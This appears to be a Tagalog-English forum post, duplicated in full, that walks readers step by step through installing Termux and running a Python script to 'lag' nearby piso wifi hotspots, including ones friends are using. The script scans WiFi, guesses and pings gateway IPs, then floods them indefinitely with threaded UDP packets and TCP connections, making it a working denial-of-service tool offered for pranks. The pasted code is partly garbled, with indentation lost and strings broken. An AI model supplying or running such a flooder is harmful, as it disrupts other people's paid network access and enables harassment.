Very sample attacking multiple piso wifi just my own logic
Gusto mo Mang trip ng mga naka piso wifi or naka piso wifi tropa mo at gusto mo I lag sila.
Step 1: make sure meron kayong Termux at Termux API galing sa Fdroid na dinownload niyo
Step 2: punta sa termux at paste mo lahat na necessary na pkgs copy this:
Step 3: make sure naka on Location mo bago mag save ng script at na on muna yung location at create kana ng nano pwede kahit ano name:
Step 4: so naka create kana at Doon mo I paste lahat na script sa loob ng nano example.py ito yung script copy moto lahat na script at paste mo sa loob ng nano example.py :
#!/data/data/com.termux/files/usr/bin/python3
import socket
import threading
import time
import os
import random
import subprocess
import json
# Function to scan for nearby WiFi networks using termux-wifi-scaninfo
def scan_wifi():
"""Scan for nearby WiFi networks using Termux API."""
try:
result = subprocess.run(["termux-wifi-scaninfo"], capture_output=True, text=True)
networks = []
scan_data = json.loads(result.stdout)
for network in scan_data:
ssid = network.get("ssid", "UnknownWiFi")
if ssid and ssid != "":
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except Exception as e:
print(f"[-] WiFi scan failed: {str(e)}")
try:
# Fallback to iwlist
os.system("pkg install wireless-tools > /dev/null 2>&1")
result = subprocess.run(["iwlist", "wlan0", "scan"], capture_output=True, text=True)
networks = []
for line in result.stdout.splitlines():
if "ESSID" in line:
ssid = line.split('"')[1]
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except:
return ["UnknownWiFi"]
# Function to infer potential gateway IPs
def infer_gateways():
"""Infer common gateway IPs for WiFi networks."""
common_subnets = ["192.168.0", "192.168.1", "192.168.2", "192.168.3", "192.168.4",
"10.0.0", "10.1.1", "172.16.0", "172.17.0", "192.168.100"]
gateways = []
for subnet in common_subnets:
for i in range(1, 3):
gateways.append(f"{subnet}.{i}")
return gateways
# Validate active IPs with a ping test
def validate_targets(gateways):
"""Ping test to validate active IPs."""
active_targets = []
for ip in gateways:
try:
result = subprocess.run(["ping", "-c", "1", ip], capture_output=True, timeout=1)
if result.returncode == 0:
active_targets.append(ip)
print(f"[+] Active target found: {ip}")
except:
continue
return active_targets if active_targets else gateways[:5] # Fallback to first 5 if none active
# Function to send UDP packets
def udp_flood(target_ip):
"""Flood a target IP with UDP packets."""
common_ports = [53, 80, 443, 8080, 22] # Focus on common ports
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1)
try:
packet_size = random.randint(512, 2048)
packets_per_burst = random.randint(500, 1500)
for _ in range(packets_per_burst):
s.sendto(b'\x00' * packet_size, (target_ip, port))
time.sleep(random.uniform(0.001, 0.01))
print(f"[+] UDP: Sent {packets_per_burst} packets to {target_ip}:{port}")
except Exception as e:
print(f"[-] UDP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.1, 1))
# Function to send TCP SYN packets
def tcp_flood(target_ip):
"""Flood a target IP with TCP SYN packets."""
common_ports = [80, 443, 22, 8080]
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((target_ip, port))
print(f"[+] TCP: Connected to {target_ip}:{port}")
except Exception as e:
print(f"[-] TCP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.01, 0.1))
# Display colorful ASCII art for "MJ PHC
"
def display_header():
print("\n\033[1;35mโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ")
print("\033[1;35mโ \033[1;36mโโโ \033[1;33mM \033[1;31mJ \033[1;32m \033[1;34mP \033[1;35mH \033[1;36mC \033[1;33m \033[1;31m
\033[1;35mโโโ \033[1;35mโ")
print("\033[1;35mโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\033[0m\n")
# Main attack function
def chaos_flood():
display_header()
# Scan for nearby WiFi networks
print("[*] Scanning for nearby WiFi networks...")
networks = scan_wifi()
print(f"[*] Found {len(networks)} networks: {networks}")
# Infer and validate gateway IPs
gateways = infer_gateways()
print(f"[*] Inferred gateways: {gateways}")
active_targets = validate_targets(gateways)
print(f"[*] Active targets: {active_targets}")
# Number of threads (balanced for non-root)
num_threads = 50
threads = []
# Start UDP and TCP flooding for each target
for target in active_targets:
# UDP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=udp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)
# TCP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=tcp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)
# Monitor attack progress continuously
start_time = time.time()
try:
while True:
active = sum(1 for t in threads if t.is_alive())
elapsed = int(time.time() - start_time)
print(f"[*] Active threads: {active}, Time elapsed: {elapsed}s")
print(f"[*] MJ PHC
is flooding the networks...")
time.sleep(10)
except KeyboardInterrupt:
print("\n[!] ChaosFlood halted by MJ PHC
...")
finally:
print("[+] Cleanup complete. Exiting.")
if name == "main":
chaos_flood()
Step 5: save muna yung script dahil tapos na paste yung lahat script sa loob ng nano example.py at I save pindutin ๐๐ง๐ฅ๐ + ๐ซ + ๐ฌ ๐ฑ๐ถ๐ป ๐๐ก๐ง๐๐ฅ
Step 6: paano ba I run? So tapos na enter mo at isulat mo muna wag mo kupyahin yung name example yung ilagay mo na name yung pinalit mo sa name na example example: if nilagay mo ๐ป๐ฎ๐ป๐ผ ๐ฝ๐ผ๐ด๐ถ.๐ฝ๐ yan ilagay name mo sa chmod +x example.py ipalit mo yung name na ๐ฝ๐ผ๐ด๐ถ:
Step 7: ito na I run muna yung script! Make sure naka on na yung location. Ito paano I run:
Dapat kung ano name nilagay mo yan gamit pag run same lang sa step 6.
Pag mag stop kayo at ayaw niyo na pindutin niyo pa ulit ang CTRL C para mag stop by the way our script mag attack yan hanggang sa ayaw muna at gusto mupa I lag hanggang sa gusto mo.
Enjoy Hope can help my script and comments nalang ano problems at issues para ma solve
Gusto mo Mang trip ng mga naka piso wifi or naka piso wifi tropa mo at gusto mo I lag sila.
Step 1: make sure meron kayong Termux at Termux API galing sa Fdroid na dinownload niyo
Step 2: punta sa termux at paste mo lahat na necessary na pkgs copy this:
- pkg update && pkg upgrade -y && pkg install python git termux-api wireless-tools -y
Step 3: make sure naka on Location mo bago mag save ng script at na on muna yung location at create kana ng nano pwede kahit ano name:
- nano example.py
Step 4: so naka create kana at Doon mo I paste lahat na script sa loob ng nano example.py ito yung script copy moto lahat na script at paste mo sa loob ng nano example.py :
#!/data/data/com.termux/files/usr/bin/python3
import socket
import threading
import time
import os
import random
import subprocess
import json
# Function to scan for nearby WiFi networks using termux-wifi-scaninfo
def scan_wifi():
"""Scan for nearby WiFi networks using Termux API."""
try:
result = subprocess.run(["termux-wifi-scaninfo"], capture_output=True, text=True)
networks = []
scan_data = json.loads(result.stdout)
for network in scan_data:
ssid = network.get("ssid", "UnknownWiFi")
if ssid and ssid != "":
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except Exception as e:
print(f"[-] WiFi scan failed: {str(e)}")
try:
# Fallback to iwlist
os.system("pkg install wireless-tools > /dev/null 2>&1")
result = subprocess.run(["iwlist", "wlan0", "scan"], capture_output=True, text=True)
networks = []
for line in result.stdout.splitlines():
if "ESSID" in line:
ssid = line.split('"')[1]
networks.append(ssid)
return networks if networks else ["UnknownWiFi"]
except:
return ["UnknownWiFi"]
# Function to infer potential gateway IPs
def infer_gateways():
"""Infer common gateway IPs for WiFi networks."""
common_subnets = ["192.168.0", "192.168.1", "192.168.2", "192.168.3", "192.168.4",
"10.0.0", "10.1.1", "172.16.0", "172.17.0", "192.168.100"]
gateways = []
for subnet in common_subnets:
for i in range(1, 3):
gateways.append(f"{subnet}.{i}")
return gateways
# Validate active IPs with a ping test
def validate_targets(gateways):
"""Ping test to validate active IPs."""
active_targets = []
for ip in gateways:
try:
result = subprocess.run(["ping", "-c", "1", ip], capture_output=True, timeout=1)
if result.returncode == 0:
active_targets.append(ip)
print(f"[+] Active target found: {ip}")
except:
continue
return active_targets if active_targets else gateways[:5] # Fallback to first 5 if none active
# Function to send UDP packets
def udp_flood(target_ip):
"""Flood a target IP with UDP packets."""
common_ports = [53, 80, 443, 8080, 22] # Focus on common ports
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1)
try:
packet_size = random.randint(512, 2048)
packets_per_burst = random.randint(500, 1500)
for _ in range(packets_per_burst):
s.sendto(b'\x00' * packet_size, (target_ip, port))
time.sleep(random.uniform(0.001, 0.01))
print(f"[+] UDP: Sent {packets_per_burst} packets to {target_ip}:{port}")
except Exception as e:
print(f"[-] UDP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.1, 1))
# Function to send TCP SYN packets
def tcp_flood(target_ip):
"""Flood a target IP with TCP SYN packets."""
common_ports = [80, 443, 22, 8080]
while True:
port = random.choice(common_ports + [random.randint(1, 65535)])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((target_ip, port))
print(f"[+] TCP: Connected to {target_ip}:{port}")
except Exception as e:
print(f"[-] TCP Error on {target_ip}:{port} - {str(e)}")
finally:
s.close()
time.sleep(random.uniform(0.01, 0.1))
# Display colorful ASCII art for "MJ PHC
"def display_header():
print("\n\033[1;35mโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ")
print("\033[1;35mโ \033[1;36mโโโ \033[1;33mM \033[1;31mJ \033[1;32m \033[1;34mP \033[1;35mH \033[1;36mC \033[1;33m \033[1;31m
\033[1;35mโโโ \033[1;35mโ")print("\033[1;35mโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ\033[0m\n")
# Main attack function
def chaos_flood():
display_header()
# Scan for nearby WiFi networks
print("[*] Scanning for nearby WiFi networks...")
networks = scan_wifi()
print(f"[*] Found {len(networks)} networks: {networks}")
# Infer and validate gateway IPs
gateways = infer_gateways()
print(f"[*] Inferred gateways: {gateways}")
active_targets = validate_targets(gateways)
print(f"[*] Active targets: {active_targets}")
# Number of threads (balanced for non-root)
num_threads = 50
threads = []
# Start UDP and TCP flooding for each target
for target in active_targets:
# UDP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=udp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)
# TCP threads
for _ in range(num_threads // len(active_targets) // 2):
t = threading.Thread(target=tcp_flood, args=(target,))
t.daemon = True
t.start()
threads.append(t)
# Monitor attack progress continuously
start_time = time.time()
try:
while True:
active = sum(1 for t in threads if t.is_alive())
elapsed = int(time.time() - start_time)
print(f"[*] Active threads: {active}, Time elapsed: {elapsed}s")
print(f"[*] MJ PHC
is flooding the networks...")time.sleep(10)
except KeyboardInterrupt:
print("\n[!] ChaosFlood halted by MJ PHC
...")finally:
print("[+] Cleanup complete. Exiting.")
if name == "main":
chaos_flood()
Step 5: save muna yung script dahil tapos na paste yung lahat script sa loob ng nano example.py at I save pindutin ๐๐ง๐ฅ๐ + ๐ซ + ๐ฌ ๐ฑ๐ถ๐ป ๐๐ก๐ง๐๐ฅ
Step 6: paano ba I run? So tapos na enter mo at isulat mo muna wag mo kupyahin yung name example yung ilagay mo na name yung pinalit mo sa name na example example: if nilagay mo ๐ป๐ฎ๐ป๐ผ ๐ฝ๐ผ๐ด๐ถ.๐ฝ๐ yan ilagay name mo sa chmod +x example.py ipalit mo yung name na ๐ฝ๐ผ๐ด๐ถ:
- chmod +x example.py
Step 7: ito na I run muna yung script! Make sure naka on na yung location. Ito paano I run:
Dapat kung ano name nilagay mo yan gamit pag run same lang sa step 6.
- ./example.py
Pag mag stop kayo at ayaw niyo na pindutin niyo pa ulit ang CTRL C para mag stop by the way our script mag attack yan hanggang sa ayaw muna at gusto mupa I lag hanggang sa gusto mo.
Enjoy Hope can help my script and comments nalang ano problems at issues para ma solve

